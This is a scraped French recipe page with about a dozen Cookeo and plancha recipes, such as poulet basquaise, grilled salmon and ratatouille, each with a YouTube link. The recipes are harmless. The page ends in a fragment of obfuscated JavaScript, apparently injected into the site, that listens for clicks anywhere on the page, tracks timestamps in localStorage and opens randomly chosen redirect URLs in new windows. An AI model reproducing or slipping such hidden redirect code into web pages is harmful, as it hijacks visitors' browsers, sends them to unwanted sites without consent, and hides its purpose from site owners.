Poulet Basquaise style ww cookeo

220 CALORIES 2 SP

Ingrédients pour 4 personnes

400 g d’escalopes de poulet

2 gousses d’ail

1 oignon

1 poivron rouge

1 poivron vert

800 g de tomates

100 ml de vin blanc

Sel

Poivre

Préparation

Coupez les escalopes de poulet et les tomates en morceaux.

Coupez l’oignon et l’ail en morceaux.

Epépinez les poivrons et coupez-les en lanières.

Versez l’huile d’olive dans la cuve, quand l’huile est chaude faites dorer les morceaux de poulet puis d’oignon et d’ail.

Ajoutez les tomates et les lanières de poivron dans la cuve.

Versez le vin blanc.

Salez et poivrez.

Cuisson rapide ou sous pression

Programmez 5 mn

Servez chaud avec du riz ou des pâtes

[youtube https://www.youtube.com/watch?v=vZJaAwd9SSk&w=560&h=315]

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Saumon à la plancha

Ingrédients pour 2 personnes

300 g de filet saumon

Quelques brins d’aneth

3 cuillères à soupe d’huile d’olive

30 ml de jus de citron

Sel

Poivre

Ingrédients pour 4 personnes

600 g de filet saumon

Quelques brins d’aneth

6 cuillères à soupe d’huile d’olive

60 ml de jus de citron

Sel

Poivre

Préparation du saumon

Dans un récipient versez l’huile d’olive, le jus de citron.

Ajoutez l’aneth.

Salez et poivrez

Coupez les filets en morceaux

Versez la marinade sur les morceaux de saumon

Placez le saumon et la marinade au frigo pendant 1 h au minimum.

Faites chauffer votre plancha puis huilez la

Quand l’huile est chaude faites cuire les morceaux de saumon.

Servez chaud avec un légume de votre choix.

[youtube https://www.youtube.com/watch?v=vYWhqBddlfU&w=560&h=315]

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Salade farfalles poulet recette cookeo

Ingrédients pour 4 personnes

400 g de pâtes

2 escalopes de poulet

3 cuillères à soupe de mayonnaise

1 cuillère à soupe de moutarde

2 tomates

1 boite de mais

Sel

Poivre

Eau (600 ml)

2 cuillères à soupe d’huile d’olive

Préparation

Coupez les tomates et le poulet en morceaux

Egouttez la boite de mais

Mode dorer

Faites chauffer l’huile d’olive, quand elle est chaude faite dorer les morceaux de poulet.

Déposez les pâtes dans la cuve.

Versez l’eau.

Salez.

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de pâtes divise par 2.

Quand la cuisson est terminée égouttez les pâtes et les morceaux de poulet. Passez le tout sous l’eau.

Déposez le poulet et les pâtes dans un saladier.

Ajoutez le mais et les morceaux de tomates.

Sortez le saladier du frigo.

Mélangez.

Servez froid

[youtube https://www.youtube.com/watch?v=2TMvqzzz5vE&w=560&h=315]

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Cuisses de poulet paprika plancha

Ingrédients pour 4 personnes

4 cuisses de poulet

30 ml de jus de citron

6 cuillères à soupe d’huile

Sel

Poivre

Paprika

Herbes de Provence

Préparation

Dans un plat versez l’huile d’olive, le jus de citron.

Saupoudrez avec des herbes de Provence

Salez et poivrez

Déposez les cuisses de poulet dans la marinade. Laissez macérer au moins une heure au frigo.

Huilez et faites chauffer votre plancha.

Quand la plancha est chaude faites cuire vos cuisses de poulet.

Retournez vos cuisses de poulet de temps en temps.

Puis servez chaud

[youtube https://www.youtube.com/watch?v=kzbg0azjwz8&w=560&h=315]

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Hauts cuisses poulet ratatouille cookeo

Ingrédients pour 4 personnes

6 hauts de cuisses de poulet

500 g de tomates 

500 g d’aubergines

500 g de courgettes

1 oignon

1 poivron

200 ml d’eau

1 gousse d’ail

1 cube de bouillon de volaille

2 cuillères à soupe d’huile d’olive

2 cuillères à café de concentré de tomates

Thym ou herbes de Provence

Sel

Poivre

Préparation

Epépinez et coupez les poivrons en morceaux

Coupez les oignons et l’ail en morceaux

Coupez les tomates en morceaux

Lavez et coupez les courgettes en morceaux

Coupez les aubergines en morceaux

Mode dorer

Versez l’huile d’olive dans la cuve  .Quand l’huile est chaude faites dorer les hauts de cuisse de poulet.

Ajoutez les morceaux d’oignons et d’ail pour les faire dorer.

Versez 200 ml d’eau avec un cuve de bouillon de volaille émietté.

Salez et poivrez .

Saupoudrez de thym ou d’herbes de Provence

Cuisson rapide ou sous pression

Programmez 14 mn

Quand la cuisson est terminée déposez dans la cuve les morceaux de courgettes,poivrons,aubergines et tomates.

Reprogrammez 5 mn de cuisson rapide ou sous pression .

Quand la cuisson est terminée ajoutez le concentré de tomates et  servez chaud

[youtube https://www.youtube.com/watch?v=WVZCQmof_GI&w=560&h=315]

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Gratin courgettes tomates cookeo

Ingrédients pour 4 personnes

1 kg de courgettes

100 g de gruyère râpé

400 g de tomates

1 cuillère à soupe de moutarde

Sel

Poivre

1 cube de bouillon de bœuf

200 ml d’eau

1 petite boite de purée de tomates 200 g

Préparation

Lavez les tomates, les courgettes.

Coupez les courgettes en morceaux.

Coupez les tomates en rondelles

Ajoutez une cuillère à soupe de moutarde avec la purée de tomates

Faites préchauffer le four à 180°

Salez et poivrez.

Cuisson rapide ou sous pression programmez 3 mn

Quand la cuisson est terminée égouttez la cuve et déposez les légumes dans un plat qui va au four.

dans le plat

Ajoutez les rondelles de tomates

Enfournez pendant 20 mn à 180°

aspect doré

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Salade composée aubergines cookeo

Ingrédients pour 4 à 6 personnes

200 g de riz

La moitié d’un oignon rouge

1 aubergine

1 poivron

2 tomates

Pour la vinaigrette

5 cuillères à soupe d’huile d’olive

3 cuillères à soupe de vinaigre

1 cuillère à café de moutarde

Sel

Poivre

600 ml d’eau

Préparation 

Coupez l’oignon  en morceaux

Coupez l’aubergine en morceaux

Epépinez le poivron et coupez le en morceaux

Dans un bol mélangez le vinaigre , la moutarde, l’huile d’olive . Ajoutez les morceaux  d’oignon. Salez et poivrez

Passez les tomates sous l’eau et coupez -les en morceaux

Mode dorer

Déposez dans la cuve le riz et les morceaux d’aubergines

Versez l’eau dans la cuve (recouvrez le riz )

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée égouttez la cuve. Passez le riz et les aubergines  sous l’eau froide .

Déposez le riz ,les aubergines ,  les morceaux de tomates, les morceaux de poivrons ,dans un saladier .

Déposez le saladier pendant 2h dans le frigo. Sortez le saladier et servez avec la sauce

[youtube https://www.youtube.com/watch?v=-T2iwOzsraU&w=560&h=315]

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Brochettes porc tomates plancha

Ingrédients pour 8 brochettes

600 g de viande de porc

120 ml d’huile

60 ml de Jus de citron

24 tomates cerises

1 cuillère à soupe de thym

60 ml de jus de citron

Curry

Sel

Poivre

Préparation

Coupez viande de porc en  morceaux et déposez les dans un plat

Mélangez l’huile ,le jus de citron . Ajoutez du thym . Saupoudrez de curry . Salez et poivrez

Versez la préparation jus de citron huile sur les morceaux de porc

Salez et poivrez et laisser macérer pendant 4 h au frigo

Confectionnez vos brochettes en alternant morceaux de porc et tomates cerises

Versez de l’huile sur votre plancha et faites-la chauffer.

Quand l’huile est chaude faites cuire vos brochettes entre 8 et 10 mn selon la puissance de votre planche et la grosseur des brochettes.

Versez le jus de la marinade restant  en fin de cuisson sur les brochettes et laissez cuire encore 2 mn.

Servez chaud.

[youtube https://www.youtube.com/watch?v=TtisEzzQ5qc&w=560&h=315]

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Ratatouille une recette au cookeo

Ingrédients pour 4 personnes

500 g de tomates 

500 g d’aubergines

500 g de courgettes

2 oignons

200 g de poivrons

200 ml d’eau

2 gousses d’ail

2 cuillères à soupe d’huile d’olive

Thym

Sel

Poivre

Préparation

Epépinez et coupez les poivrons en morceaux

Coupez les oignons et l’ail en morceaux

Coupez les tomates en morceaux

Lavez et coupez les courgettes en morceaux

Coupez les aubergines en morceaux

Mode dorer

Versez l’huile d’olive dans la cuve  .Quand l’huile est chaude faites dorer les oignons

Ajoutez au bout de 2 mn  ajoutez les morceaux de poivron .

Ajoutez ensuite les tomates ,les morceaux d’aubergine , les morceaux de courgettes et faites revenir 2 mn

Versez 200 ml d’eau

Salez et poivrez .

Saupoudrez de thym et de laurier

Cuisson rapide ou sous pression

Programmez 6 mn

 servez chaud

[youtube https://www.youtube.com/watch?v=qyRuz8ukSDk&w=560&h=315]

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Pommes de terre rissolées champignons cookeo

Ingrédients pour 4 personnes

1 kg de pommes de terre coupées en morceaux (plus selon vos mangeurs)à chair ferme

6 cuillères à soupe d’huile 

1 petite boite de champignons de Paris

2 oignons

Sel

Poivre 

Préparation

Epluchez les pommes de terre ,passez les sous l’eau puis coupez les en morceaux.

Déposez les pommes de terre dans un saladier et versez de l’huile  dessus  puis mélangez.

Coupez les oignons  en morceaux

Egouttez et rincez les champignons de Paris.

Mode dorer

Versez l’huile dans la cuve . Quand le préchauffage est terminé versez les pommes de terre dans la cuve puis faites dorer jusqu’à ce que les pommes  de terre soient cuites . Remuez de temps en temps.

Ajoutez les morceaux d’oignons et les champignons de Paris en fin de cuisson des pommes de terre (environ 18 mn ) .

Salez et poivrez

Pour savoir si les pommes de terre sont cuites piquez avec une fourchette . 

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Filet mignon 3 légumes recette cookeo

Ingrédients pour 4 personnes

1 filet mignon

500 g de tomates

50 ml de vin blanc

150 ml d’eau

1 poivron

2 courgettes

1 aubergine

2 cuillères à soupe d’huile d’olive           

1 cube de bouillon de bœuf

Concentré de tomates

Sel

Poivre

Curry

Préparation

Lavez et coupez les tomates ,les  courgettes et l’aubergine en  morceaux.

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir le filet mignon quand le préchauffage est terminé

.

Versez 150 ml d’eau,50 ml de vin blanc et un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 20 mn

Quand la cuisson est terminée ajoutez les morceaux de tomates, de courgettes, d’aubergines  dans la cuve.

Reprogrammez 5 mn de cuisson

Quand la cuisson est terminée ajouter le concentré de tomates et mélangez.

Servez chaud ensuite

[youtube https://www.youtube.com/watch?v=ZnUxFT9-blQ&w=560&h=315]

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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());